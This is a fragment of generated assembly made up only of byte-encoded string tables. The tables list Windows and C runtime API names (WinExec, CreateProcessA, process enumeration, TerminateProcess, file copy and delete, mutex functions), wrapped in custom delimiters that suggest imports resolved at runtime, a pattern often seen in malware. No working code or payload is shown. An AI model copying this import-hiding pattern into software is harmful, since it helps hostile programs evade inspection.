; "/*@S|*/00toupper|01_sleep|02sprintf|03atoi|04free|05malloc|06memcmp|07memcpy|08memset|09rand|10srand|11strcat|12vsprintf|13wcslen/*@E*/|\x0"
	.byte	47,42,64,83,124,42,47,48,48,116,111,117,112,112,101,114
	.byte	124,48,49,95,115,108,101,101,112,124,48,50,115,112,114
	.byte	105,110,116,102,124,48,51,97,116,111,105,124,48,52,102
	.byte	114,101,101,124,48,53,109,97,108,108,111,99,124,48,54
	.byte	109,101,109,99,109,112,124,48,55,109,101,109,99,112,121
	.byte	124,48,56,109,101,109,115,101,116,124,48,57,114,97,110
	.byte	100,124,49,48,115,114,97,110,100,124,49,49,115,116,114
	.byte	99,97,116,124,49,50,118,115,112,114,105,110,116,102,124
	.byte	49,51,119,99,115,108,101,110,47,42,64,69,42,47,124
	.byte	0
_$268:
; "crtdll.dll\x0"
	.byte	99,114,116,100,108,108,46,100,108,108,0
_$265:
; "/*@S|*/00OpenMutexA|01CloseHandle|02ExitThread|03CreateFileA|04DeleteFileA|05SetFilePointer|06WriteFile|07GetFileSize|08lstrlenW|09WinExec|10WideCharToMultiByte|11MultiByteToWideChar|12GetTempPathA|13ReadFile|14VirtualAlloc|15VirtualFree|16LocalAlloc|17LocalFree|18GetSystemTime|19RtlZeroMemory|20FindFirstFileA|21FindNextFileA|22FindClose|23GetDriveTypeA|24GetExitCodeThread|25SetErrorMode|26GetDiskFreeSpaceA|27CopyFileA|28CreateMutexA|29GetModuleFileNameA|30GetSystemDirectoryA|31InterlockedIncrement|32InterlockedDecrement|33GetVolumeInformationA|34CompareFileTime|35FileTimeToSystemTime|36GetVersionExA|37GetLocaleInfoA|38OpenProcess|39GetCurrentProcessId|40GetCurrentThreadId|41FreeEnvironmentStringsA|42GetEnvironmentStringsA|43GetComputerNameA|44WaitForSingleObject|45FreeLibrary|46CreateDirectoryA|47PeekNamedPipe|48CreatePipe|49CreateProcessA|50GetExitCodeProcess|51IsBadStringPtrW|52TerminateThread|53CreateToolhelp32Snapshot|54Process32First|55Process32Next|56TerminateProcess|57lstrlenA|58IsBadReadPtr|59OutputDebugStringA|60lstrcatA/*@E*/|\x0"
	.byte	47,42,64,83,124,42,47,48,48,79,112,101,110,77,117,116
	.byte	101,120,65,124,48,49,67,108,111,115,101,72,97,110,100
	.byte	108,101,124,48,50,69,120,105,116,84,104,114,101,97,100
	.byte	124,48,51,67,114,101,97,116,101,70,105,108,101,65,124
	.byte	48,52,68,101,108,101,116,101,70,105,108,101,65,124,48
	.byte	53,83,101,116,70,105,108,101,80,111,105,110,116,101,114
	.byte	124,48,54,87,114,105,116,101,70,105,108,101,124,48,55
	.byte	71,101,116,70,105,108,101,83,105,122,101,124,48,56,108
	.byte	115,116,114,108,101,110,87,124,48,57,87,105,110,69,120
	.byte	101,99,124,49,48,87,105,100,101,67,104,97,114,84,111
	.byte	77,117,108,116,105,66,121,116,101,124,49,49,77,117,108
	.byte	116,105,66,121,116,101,84,111,87,105,100,101,67,104,97
	.byte	114,124,49,50,71,101,116,84,101,109,112,80,97,116,104
	.byte	65,124,49,51,82,101,97,100,70,105,108,101,124,49,52
	.byte	86,105,114,116,117,97,108,65,108,108,111,99,124,49,53
	.byte	86,105,114,116,117,97,108,70,114,101,101,124,49,54,76
	.byte	111,99,97,108,65,108,108,111,99,124,49,55,76,111,99
	.byte	97,108,70,114,101,101,124,49,56,71,101,116,83,121,115
	.byte	116,101,109,84,105,109,101,124,49,57,82,116,108,90,101
	.byte	114,111,77,101,109,111,114,121,124,50,48,70,105,110,100
	.byte	70,105,114,115,116,70,105,108,101,65,124,50,49,70,105
	.byte	110,100,78,101,120,116,70,105,108,101,65,124,50,50,70
	.byte	105,110,100,67,108,111,115,101,124,50,51,71,101,116,68
	.byte	114,105,118,101,84,121,112,101,65,124,50,52,71,101,116
	.byte	69,120,105,116,67,111,100,101,84,104,114,101,97,100,124
	.byte	50,53,83,101,116,69,114,114,111,114,77,111,100,101,124
	.byte	50,54,71,101,116,68,105,115,107,70,114,101,101,83,112
	.byte	97,99,101,65,124,50,55,67,111,112,121,70,105,108,101
	.byte	65,124,50,56,67,114,101,97,116,101,77,117,116,101,120
	.byte	65,124,50,57,71,101,116,77,111,100,117,108,101,70,105
	.byte	108,101,78,97,109,101,65,124,51,48,71,101,116,83,121
	.byte	115,116,101,109,68,105,114,101,99,116,111,114,121,65,124
	.byte	51,49,73,110,116,101,114,108,111,99,107,101,100,73,110
	.byte	99,114,101,109,101,110,116,124,51,50,73,110,116,101,114
	.byte	108,111,99,107,101,100,68,101,99,114,101,109,101,110,116
	.byte	124,51,51,71,101,116,86,111,108,117,109,101,73,110,102
	.byte	111,114,109,97,116,105,111,110,65,124,51,52,67,111,109
	.byte	112,97,114,101,70,105,108,101,84,105,109,101,124,51,53
	.byte	70,105,108,101,84,105,109,101,84,111,83,121,115,116,101
	.byte	109,84,105,109,101,124,51,54,71,101,116,86,101,114,115
	.byte	105,111,110,69,120,65,124,51,55,71,101,116,76,111,99
	.byte	97,108,101,73,110,102,111,65,124,51,56,79,112,101,110
	.byte	80,114,111,99,101,115,115,124,51,57,71,101,116,67,117
	.byte	114,114,101,110,116,80,114,111,99,101,115,115,73,100,124
	.byte	52,48,71,101,116,67,117,114,114,101,110,116,84,104,114
	.byte	101,97,100,73,100,124,52,49,70,114,101,101,69,110,118
	.byte	105,114,111,110,109,101,110,116,83,116,114,105,110,103,115
	.byte	65,124,52,50,71,101,116,69,110,118,105,114,111,110,109
	.byte	101,110,116,83,116,114,105,110,103,115,65,124,52,51,71
	.byte	101,116,67,111,109,112,117,116,101,114,78,97,109,101,65
	.byte	124,52,52,87,97,105,116,70,111,114,83,105,110,103,108
	.byte	101,79,98,106,101,99,116,124,52,53,70,114,101,101,76
	.byte	105,98,114,97,114,121,124,52,54,67,114,101,97,116,101
	.byte	68,105,114,101,99,116,111,114,121,65,124,52,55,80,101
	.byte	101,107,78,97,109,101,100,80,105,112,101,124,52,56,67
	.byte	114,101,97,116,101,80,105,112,101,124,52,57,67,114,101
	.byte	97,116,101,80,114,111,99,101,115,115,65,124,53,48,71
	.byte	101,116,69,120,105,116,67,111,100,101,80,114,111,99,101
	.byte	115,115,124,53,49,73,115,66,97,100,83,116,114,105,110
	.byte	103,80,116,114,87,124,53,50,84,101,114,109,105,110,97
	.byte	116,101,84,104,114,101,97,100,124,53,51,67,114,101,97
	.byte	116,101,84,111,111,108,104,101,108,112,51,50,83,110,97
	.byte	112,115,104,111,116,124,53,52,80,114,111,99,101,115,115
	.byte	51,50,70,105,114,115,116,124,53,53,80,114,111,99,101
	.byte	115,115,51,50,78,101,120,116,124,53,54,84,101,114,109
	.byte	105,110,97,116,101,80,114,111,99,101,115,115,124,53,55
	.byte	108,115,116,114,108,101,110,65,124,53,56,73,115,66,97
	.byte	100,82,101,97,100,80,116,114,124,53,57,79,117,116,112
	.byte	117,116,68,101,98,117,103,83,116,114,105,110,103,65,124
	.byte	54,48,108,115,116,114,99,97,116,65,47,42,64,69,42
	.byte	47,124,0
_$262:
; "/*@S|*/00GetModuleHandleA|01LoadLibraryA/*@E*/|\x0"
	.byte	47,42,64,83,124,42,47,48,48,71,101,116,77,111,100,117
	.byte	108,101,72,97,110,100,108,101,65,124,48,49,76,111,97
	.byte	100,76,105,98,114,97,114,121,65,47,42,64,69,42,47
	.byte	124,0
_$131:
; "://\x0"
	.byte	58,47,47,0
